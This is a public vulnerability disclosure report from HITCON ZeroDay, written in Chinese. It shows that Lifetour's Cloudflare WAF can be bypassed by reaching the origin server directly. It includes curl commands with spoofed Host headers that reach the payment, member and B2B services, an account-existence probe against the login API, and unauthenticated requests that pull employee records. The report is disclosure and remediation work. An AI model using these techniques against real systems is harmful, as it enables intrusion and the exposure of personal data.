五福旅遊 Cloudflare WAF 繞過:Origin Server 直接暴露,可存取支付系統、會員系統、B2B/B2E 等 10+ 個內部服務 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00436
  •  發信 Vendor: 五福旅行社股份有限公司
  • Title: 五福旅遊 Cloudflare WAF 繞過:Origin Server 直接暴露,可存取支付系統、會員系統、B2B/B2E 等 10+ 個內部服務
  • Introduction: 未設定來源 IP 限制,攻擊者可透過直接連線繞過所有 Cloudflare WAF 規則、速率限制及 DDoS 防護。

處理狀態

目前狀態

公開
Last Update : 2026/06/11
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/03/27 17:45:42 : 新提交 (由 Marco 更新此狀態)
  • 2026/03/30 00:42:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 18:11:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 18:11:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/09 18:11:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 03:00:22 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2026/05/27 17:48:17 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 17:49:02 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/10 09:24:31 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/10 09:25:31 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/10 09:25:38 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/10 09:25:41 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/10 09:25:45 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/10 09:26:34 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/10 09:26:38 : 已修補 (由 組織帳號 更新此狀態)
  • 2026/06/11 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00436
  • 通報者:mlgzackfly (Marco)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://member.lifetour.com.tw/
https://[REDACTED]/ (Origin Server)
https://www.lifetour.com.tw/
payment.lifetour.com.tw (支付系統,僅 Origin IP 可存取)

敘述

漏洞描述

五福旅行社(Lifetour)為台灣知名旅行社,提供國內外旅遊、機票、訂房等服務,網站使用 Cloudflare 作為 CDN/WAF,但 Origin Server 的 F5 BigIP 負載平衡器未設定 IP 來源限制,接受任何來源的 HTTP 請求。攻擊者只需在 Host header 中指定正確的域名,即可繞過 Cloudflare 所有安全防護直接存取後端服務。

環境資訊

  • 目標:lifetour.com.tw(五福旅遊)
  • CDN/WAF:Cloudflare
  • Origin Server:223...**(是方電訊 nginx)
  • 技術棧:ASP.NET Core(會員系統、支付系統)、Vue.js(前端)、Apache/Tomcat(tourbuilder)
  • 影響範圍:www、member、b2b、b2e、hotel、flights、package、ticket、domestic、payment 等 10+ 個子域名服務

重現漏洞方式

步驟一:確認 Cloudflare 正常防護

# 正常透過 Cloudflare 存取
$ curl -s "https://member.lifetour.com.tw/" -I | grep -E "^(Server|cf-)"

Server: cloudflare
cf-ray: xxxxxxx-TPE

圖片

回應包含 Cloudflare 標頭,表示所有流量經過 Cloudflare WAF 過濾。

步驟二:直接連線 Origin Server 繞過 Cloudflare

# 直接透過 Origin IP 存取,完全繞過 Cloudflare
$ curl -sk "https://[REDACTED]/" \
  -H "Host: member.lifetour.com.tw" -I

HTTP/1.1 200 OK
# 無 Cloudflare 相關標頭
# 回傳完整的會員系統頁面:「會員專區 | 五福旅遊 Lifetour」

圖片

回應中不含任何 Cloudflare 標頭,確認請求直接由 Origin Server 處理。

步驟三:透過 WAF 繞過存取支付系統

# 重大發現:支付處理系統可透過 Origin IP 直接存取
$ curl -sk "https://[REDACTED]/" \
  -H "Host: payment.lifetour.com.tw"

# HTTP 200 — 回傳 LifeTech.EC.Payment.Web 首頁
# <title>Home Page - LifeTech.EC.Payment.Web</title>
# ASP.NET Core 支付處理系統
# © 2024 - LifeTech.EC.Payment.Web

圖片

此支付系統(LifeTech.EC.Payment.Web)在正常 Cloudflare 路由下不可存取,僅能透過 Origin IP 繞過才能到達,代表其安全完全依賴 Cloudflare 的保護。

步驟四:繞過後存取會員 API

# 繞過 Cloudflare 存取登入端點
$ curl -sk -X POST "https://[REDACTED]/ShareMember/Login" \
  -H "Host: member.lifetour.com.tw" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "Account=0912345678&password=test&Type=2"

# 回傳:{"Message":"密碼有誤","ResultType":2,"MemberInfo":null}
# 確認帳號存在且 API 正常處理請求

圖片

步驟五:驗證 10+ 個子域名服務均可繞過

# 會員系統
$ curl -sk "https://[REDACTED]/" -H "Host: member.lifetour.com.tw" -w "%{http_code}"
# → 200「會員專區 | 五福旅遊 Lifetour」

# 支付系統
$ curl -sk "https://[REDACTED]/" -H "Host: payment.lifetour.com.tw" -w "%{http_code}"
# → 200「Home Page - LifeTech.EC.Payment.Web」

# B2B 旅行社同業網
$ curl -sk "https://[REDACTED]/" -H "Host: b2b.lifetour.com.tw" -w "%{http_code}"
# → 200「五福旅遊同業網 Lifetour」

# 國際機票系統
$ curl -sk "https://[REDACTED]/" -H "Host: flights.lifetour.com.tw" -w "%{http_code}"
# → 200「國際機票-票價航班查詢、網路訂位 | 五福旅遊 Lifetour」

# 飯店訂房系統
$ curl -sk "https://[REDACTED]/" -H "Host: hotel.lifetour.com.tw" -w "%{http_code}"
# → 200

附圖為會員系統之截圖
圖片

未授權員工資料洩漏

透過 WAF bypass 存取 reports.lifetour.com.tw,發現內部抽獎/員工福利系統的 5 個 API 端點完全無需認證即回傳員工個人資料。

步驟七:存取 reports.lifetour.com.tw 員工資料

# 透過 Origin IP 存取內部報表系統
$ curl -sk -X POST "https://[REDACTED]/home/Lottery_ShowUserList" \
  -H "Host: reports.lifetour.com.tw" \
  -H "Content-Type: application/json" \
  -H "Content-Length: 0" -d ''

圖片

所有可存取的未授權端點:

端點 回傳資料 紀錄數
POST /home/Lottery_ShowUserList 員工姓名、編號、部門、工作地 351 名員工
POST /home/Prize_ShowUserList 員工姓名、編號、部門、工作地 454 名員工
POST /home/Lottery_ShowAllList 員工資料 + 得獎紀錄 351 筆
POST /home/Prize_ShowAllList 員工資料 + 加碼得獎紀錄 82 筆
POST /home/Lottery_ShowAward 獎品清單 獎品目錄

洩漏欄位:

  • EmployeeName — 員工姓名(部分遮蔽,如「劉O棻」)
  • EmployeeID — 員工編號(4位數)
  • DepNm — 完整部門名稱(含子部門)
  • Workplace — 工作地代碼

163 個唯一部門名稱曝光,完整揭露公司組織架構。

影響

  1. 員工個資外洩 — 454+ 名員工的姓名、編號、部門資訊可被任何未授權使用者存取
  2. 完整組織架構曝光 — 163 個部門名稱揭露公司完整營運架構(機票產品部、會計部、資訊管理部等)
  3. 社交工程攻擊風險 — 員工編號 + 部門資訊可用於針對性釣魚攻擊
  4. 支付系統暴露 — payment.lifetour.com.tw(LifeTech.EC.Payment.Web)可透過 Origin IP 直接存取
  5. WAF 完全失效 — 所有 Cloudflare WAF 規則、自訂規則、Bot 偵測均可繞過
  6. 10+ 個服務全面暴露 — member、payment、reports、b2b、flights、hotel 等所有子域名服務均可繞過
  7. 暴力破解可行 — Cloudflare 的 IP-based rate limiting 完全無效
  8. tourbuilder 完全未保護 — Apache/Win64 + Tomcat 直接暴露於網路

修補建議

1. 立即為 reports.lifetour.com.tw 加入認證 — 所有員工資料端點必須要求登入驗證
2. 在 Origin Server 設定 IP 白名單 — 僅允許 Cloudflare IP 範圍(https://www.cloudflare.com/ips/)的連線
3. 啟用 Cloudflare Authenticated Origin Pulls — 使用 mutual TLS 確保只有 Cloudflare 可以連線至 Origin
4. 移除 CSP header 中的內部 IP — 將 172.16.98.81:15871 從 Content-Security-Policy 移除
5. 在後端 API 加入獨立的速率限制 — 不依賴 Cloudflare,在 ASP.NET 應用層實作 rate limiting
6. 加入 CSRF 保護 — 對所有 state-changing API 端點實作 CSRF Token 驗證

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;